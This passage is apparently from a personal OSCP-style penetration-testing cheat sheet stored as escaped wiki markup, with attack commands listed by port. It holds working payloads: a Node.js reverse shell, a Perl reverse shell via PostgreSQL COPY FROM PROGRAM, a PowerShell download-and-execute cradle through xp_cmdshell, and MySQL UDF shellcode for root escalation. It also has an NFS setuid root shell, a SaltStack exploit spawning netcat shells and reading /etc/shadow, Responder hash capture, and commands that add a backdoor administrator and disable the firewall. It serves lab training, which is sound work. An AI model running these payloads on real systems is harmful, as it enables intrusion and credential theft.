# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
=== Code Example ===&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
